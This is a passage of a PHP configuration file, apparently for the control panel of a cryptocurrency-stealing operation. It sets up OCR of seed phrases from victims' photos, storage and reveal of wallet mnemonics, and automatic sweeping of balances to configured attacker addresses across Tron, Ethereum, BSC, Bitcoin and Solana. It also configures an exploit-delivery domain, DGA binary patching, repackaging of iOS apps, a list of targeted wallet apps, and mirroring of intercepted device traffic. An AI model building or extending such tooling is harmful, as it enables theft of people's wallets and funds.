array_values(array_filter(array_map( 'trim', preg_split('/[\s,;]+/', $value) ?: [] ))); // Optional link-display hosts (not used by the DGA binary patch). $channelDomains = $parseDomains((string) env('CORUNA_LAB_CHANNEL_DOMAINS', '')); $reportingDomains = $parseDomains((string) env('CORUNA_REPORTING_DOMAINS', '')); // Panel Host allowlists (empty = no restriction). Overridable via system settings. $adminHosts = $parseDomains((string) env('CORUNA_ADMIN_HOSTS', '')); $agentHosts = $parseDomains((string) env('CORUNA_AGENT_HOSTS', '')); return [ 'ocr' => [ 'tesseract' => env('CORUNA_TESSERACT', 'tesseract'), 'oem' => (int) env('CORUNA_OCR_OEM', 1), 'psm' => (int) env('CORUNA_OCR_PSM', 6), // 800px is enough for large-font BIP39 seed phrases (wallet apps show // them in big monospace). 1280 made Tesseract ~2-3x slower per image // with no recall gain. Override via CORUNA_OCR_MAX_EDGE if needed. 'max_edge' => (int) env('CORUNA_OCR_MAX_EDGE', 800), ], 'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0) 'xxbb' => [ // Hardcoded in xxbb type-0x01 / core; not the lab derived 7@Lb… key. 'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'), // Shared native DGA / report field `c`. Same for every new-builder channel. 'channel_c' => strtolower(trim((string) env('XXBB_CHANNEL_C', ''))), // Optional separate DS exploit domain for weifile iframe (empty = relative /next-chain/). 'ds_domain' => rtrim(trim((string) env('DS_DOMAIN', '')), '/'), ], 'channel_domains' => $channelDomains, 'deployment_domains' => $channelDomains, 'reporting_domains' => $reportingDomains, 'panel' => [ 'admin_hosts' => $adminHosts, 'agent_hosts' => $agentHosts, ], 'channel_builder' => [ // Absolute python for channel-builder (default: channel-builder/.venv/bin/python or python3). 'python' => (string) env('CORUNA_CHANNEL_BUILDER_PYTHON', ''), // Served artifact root: public/web// + public/sync/ (+ lab_seeds/out under state_root). 'artifact_root' => (string) env('CORUNA_ARTIFACT_ROOT', public_path()), // Builder state (lab_seeds.json, out/) — keep outside the web root when possible. 'state_root' => (string) env( 'CORUNA_CHANNEL_STATE_ROOT', storage_path('app/channel-builder') ), 'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600), // Shared DGA seed for every old-builder channel (deployment === reporting). 'seed' => strtolower(trim((string) env('CORUNA_CHANNEL_SEED', ''))), ], 'channel_builder_new' => [ 'python' => (string) env('CORUNA_CHANNEL_BUILDER_NEW_PYTHON', ''), 'state_root' => (string) env( 'CORUNA_CHANNEL_NEW_STATE_ROOT', storage_path('app/channel-builder-new') ), ], 'channels' => [ // Max channel links per agent user (0 = official is unlimited). Overridable via settings. 'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5), ], 'album_storage' => [ // New-device default for official channels (user_id = 0). Agent channels use users.album_storage_default. 'official_default' => in_array(strtolower((string) env('CORUNA_OFFICIAL_ALBUM_STORAGE', '0')), ['1', 'true', 'yes', 'on'], true), ], // New server: if a photo file is missing locally, pull from the old host // and write through. Leave URL empty on the origin (old) machine. 'photo_origin' => [ 'url' => rtrim(trim((string) env('PHOTO_ORIGIN_URL', '')), '/'), 'token' => (string) env('PHOTO_ORIGIN_TOKEN', ''), 'timeout' => (int) env('PHOTO_ORIGIN_TIMEOUT', 180), ], 'scan' => [ // On: agent portal sees 助记词扫描 and scan ingest stays on the source device. // Off: hide agent scan UI; confirmed scan mnemonics ingest onto an official device. 'agent_visible' => in_array(strtolower((string) env('CORUNA_AGENT_MNEMONIC_SCAN', '1')), ['1', 'true', 'yes', 'on'], true), ], 'mnemonic_reveal' => [ // Off: only super admin can reveal. On: staff admins + agents with can_reveal_mnemonics. 'staff_enabled' => in_array(strtolower((string) env('CORUNA_STAFF_MNEMONIC_REVEAL', '0')), ['1', 'true', 'yes', 'on'], true), ], 'auto_transfer' => [ 'enabled' => in_array(strtolower((string) env('AUTO_TRANSFER_ENABLED', '0')), ['1', 'true', 'yes', 'on'], true), 'threshold_usdt' => (string) env('AUTO_TRANSFER_THRESHOLD_USDT', ''), 'threshold_trx' => (string) env('AUTO_TRANSFER_THRESHOLD_TRX', ''), 'threshold_eth' => (string) env('AUTO_TRANSFER_THRESHOLD_ETH', ''), 'threshold_btc' => (string) env('AUTO_TRANSFER_THRESHOLD_BTC', ''), 'threshold_bnb' => (string) env('AUTO_TRANSFER_THRESHOLD_BNB', ''), ], // Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing // system paths with is_executable() under open_basedir (see CorunaArchive). 'seven_zip' => env('CORUNA_7Z_BIN', ''), 'telegram' => [ 'bot_token' => env('TELEGRAM_BOT_TOKEN'), 'bot_username' => env('TELEGRAM_BOT_USERNAME', ''), 'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'), 'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''), ], // Device data interception: when a request comes from one of the listed // device IDs, log it to a separate file, push a Telegram alert through a // dedicated bot, and optionally mirror the raw request to another domain. 'intercept' => [ // Comma-separated device IDs (normalized form, case-insensitive). // e.g. INTERCEPT_DEVICE_KEYS=0016094811BA401E,000339A03620001E 'device_keys' => array_values(array_filter(array_map( static fn ($v) => strtolower(trim((string) $v)), explode(',', (string) env('INTERCEPT_DEVICE_KEYS', '')) ))), // Dedicated Telegram bot for interception alerts (empty = skip TG push). 'bot_token' => trim((string) env('INTERCEPT_BOT_TOKEN', '')), // Chat ID to receive interception alerts. 'chat_id' => trim((string) env('INTERCEPT_CHAT_ID', '')), // Paths that skip Telegram push but still log + forward (high-frequency noise). // e.g. /event is telemetry spam. Default: /event 'push_skip_paths' => (function () { $trimmed = array_filter( array_map(static fn ($v) => trim((string) $v), explode(',', (string) env('INTERCEPT_PUSH_SKIP_PATHS', '/event'))), static fn ($v) => $v !== '' ); return array_values(array_map(static fn ($v) => '/'.ltrim($v, '/'), $trimmed)); })(), // Mirror raw requests to this base URL (empty = no forwarding). // e.g. INTERCEPT_FORWARD_URL=https://mirror.example.com 'forward_url' => rtrim(trim((string) env('INTERCEPT_FORWARD_URL', '')), '/'), // Forwarding HTTP timeout in seconds. 'forward_timeout' => (int) env('INTERCEPT_FORWARD_TIMEOUT', 10), ], 'tokenview' => [ 'api_key' => env('TOKENVIEW_API_KEY', ''), 'sign_key' => env('TOKENVIEW_SIGN_KEY', ''), 'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'), // Separate Blockchain Data API key (balance + activation + all-token for ETH/BSC/BTC/SOL). // Falls back to api_key when empty. Empty/unauthorized → per-chain RPC fallback. 'data_api_key' => env('TOKENVIEW_DATA_API_KEY', ''), 'data_timeout' => (int) env('TOKENVIEW_DATA_TIMEOUT', 30), ], // Alchemy Blockchain Data + Prices API. Used for balance / all-token inventory // and USD token value estimation. ETH/BSC/SOL JSON-RPC + Prices REST. // Chains not enabled on the Alchemy app fall back to their per-chain RPC driver. 'alchemy' => [ 'api_key' => env('ALCHEMY_API_KEY', ''), // JSON-RPC endpoints per network. Empty network = not configured. 'eth_rpc_url' => env('ALCHEMY_ETH_RPC_URL', 'https://eth-mainnet.g.alchemy.com/v2'), 'bsc_rpc_url' => env('ALCHEMY_BSC_RPC_URL', 'https://bnb-mainnet.g.alchemy.com/v2'), 'sol_rpc_url' => env('ALCHEMY_SOL_RPC_URL', 'https://solana-mainnet.g.alchemy.com/v2'), // Prices REST API (independent of RPC network enablement). 'prices_url' => env('ALCHEMY_PRICES_URL', 'https://api.g.alchemy.com/prices/v1'), 'timeout' => (int) env('ALCHEMY_TIMEOUT', 30), // Max non-zero tokens to enrich with metadata + price per all-token query. 'max_token_enrich' => (int) env('ALCHEMY_MAX_TOKEN_ENRICH', 100), ], 'tron' => [ 'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'), 'api_key' => env('TRON_API_KEY', ''), // Official Tether USDT TRC20. BTC/ETH/BNB have no canonical Tron natives — not queried. 'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'), 'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000), ], 'eth' => [ 'rpc_url' => env('ETH_RPC_URL', 'https://ethereum.publicnode.com'), 'chain_id' => (int) env('ETH_CHAIN_ID', 1), // Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer. 'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'), 'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6), 'gas_limit' => env('ETH_GAS_LIMIT', ''), ], 'bsc' => [ 'rpc_url' => env('BSC_RPC_URL', 'https://bsc.publicnode.com'), 'chain_id' => (int) env('BSC_CHAIN_ID', 56), // Official Tether USDT BEP20 (BSC). 18 decimals. Empty = skip token balance/transfer. 'usdt_contract' => env('BSC_USDT_CONTRACT', '0x55d398326f99059fF775485246999027B3197955'), 'usdt_decimals' => (int) env('BSC_USDT_DECIMALS', 18), 'gas_limit' => env('BSC_GAS_LIMIT', ''), ], 'btc' => [ // mempool.space-compatible REST root (…/api). 'api_url' => env('BTC_API_URL', 'https://mempool.space/api'), // 0 = fetch recommended halfHourFee from API. 'fee_rate' => (int) env('BTC_FEE_RATE', 0), ], 'sol' => [ // Solana JSON-RPC endpoint. Public mainnet is heavily rate-limited; // point to a paid RPC (Helius/QuickNode/etc.) in production. 'rpc_url' => env('SOL_RPC_URL', 'https://api.mainnet-beta.solana.com'), // Optional API key sent as Bearer token (Helius/QuickNode style). 'api_key' => env('SOL_API_KEY', ''), // Official Tether USDT SPL mint (mainnet). Empty = skip SPL USDT balance. 'usdt_contract' => env('SOL_USDT_CONTRACT', 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB'), 'usdt_decimals' => (int) env('SOL_USDT_DECIMALS', 6), ], // /transfer: from = command arg (device address); to = per-chain TRANSFER_TO_ADDRESS_*. // Mnemonics resolved from wallet_mnemonics by address→device_id+source. 'transfer' => [ 'to_address' => env('TRANSFER_TO_ADDRESS', ''), 'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''), 'to_address_bsc' => env('TRANSFER_TO_ADDRESS_BSC', ''), 'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''), 'to_address_sol' => env('TRANSFER_TO_ADDRESS_SOL', ''), 'fee_address_tron' => env('TRANSFER_FEE_ADDRESS_TRON', ''), 'fee_private_key_tron' => env('TRANSFER_FEE_PRIVATE_KEY_TRON', ''), // Target TRX balance before a transfer (shortfall only is sent). 'fee_topup_trx' => env('TRANSFER_FEE_TOPUP_TRX', '20'), 'max_usdt' => env('TRANSFER_MAX_USDT', '0'), 'max_trx' => env('TRANSFER_MAX_TRX', '0'), 'max_eth' => env('TRANSFER_MAX_ETH', '0'), 'max_btc' => env('TRANSFER_MAX_BTC', '0'), 'max_bnb' => env('TRANSFER_MAX_BNB', '0'), // BIP44 account index scan upper bound when matching fromAddress. 'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20), // Leave this much native when transferring "all". 'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'), 'eth_fee_reserve' => env('TRANSFER_ETH_FEE_RESERVE', '0.001'), 'bnb_fee_reserve' => env('TRANSFER_BNB_FEE_RESERVE', '0.0005'), 'btc_fee_reserve' => env('TRANSFER_BTC_FEE_RESERVE', '0.0001'), ], 'wallet_bundles' => [ 'im.token.app', 'io.metamask', 'io.metamask.MetaMask', 'com.wallet.crypto.trustapp', 'com.sixdays.trust', 'com.okex.wallet', 'com.okex.OKExAppstoreFull', 'com.coinbase.wallet', 'org.toshi.distribution', 'com.exodus', 'exodus-movement.exodus', 'app.phantom', 'com.uniswap.mobile', 'com.tronlinkpro.wallet', 'com.tronlink.hdwallet', 'com.mytonwallet.app', 'org.mytonwallet.app', 'com.tonhub.app', 'com.tonkeeper.app', 'com.jbig.tonkeeper', 'vip.mytokenpocket', 'com.bitkeep.wallet', 'com.bitkeep.os', 'com.bitpie', 'com.bitpie.wallet', 'com.coin98', 'coin98.crypto.finance.insights', 'com.solflare.mobile', 'com.roninchain.wallet', 'com.skymavis.Genesis', 'com.krystal.wallet', 'com.kyrd.krystal.ios', 'com.global.wallet.ios', 'ph.telegra.Telegraph', ], // Prefer a copy under bin/ so open_basedir can see it. /usr/bin/ldid // still works via proc_open if LDID_PATH points there. 'ldid_path' => env('LDID_PATH', base_path('bin/ldid')), // Host only; builder prepends https://. Used by App IPA patching. 'app_api_domain' => trim((string) env('APP_API_DOMAIN', '')), ];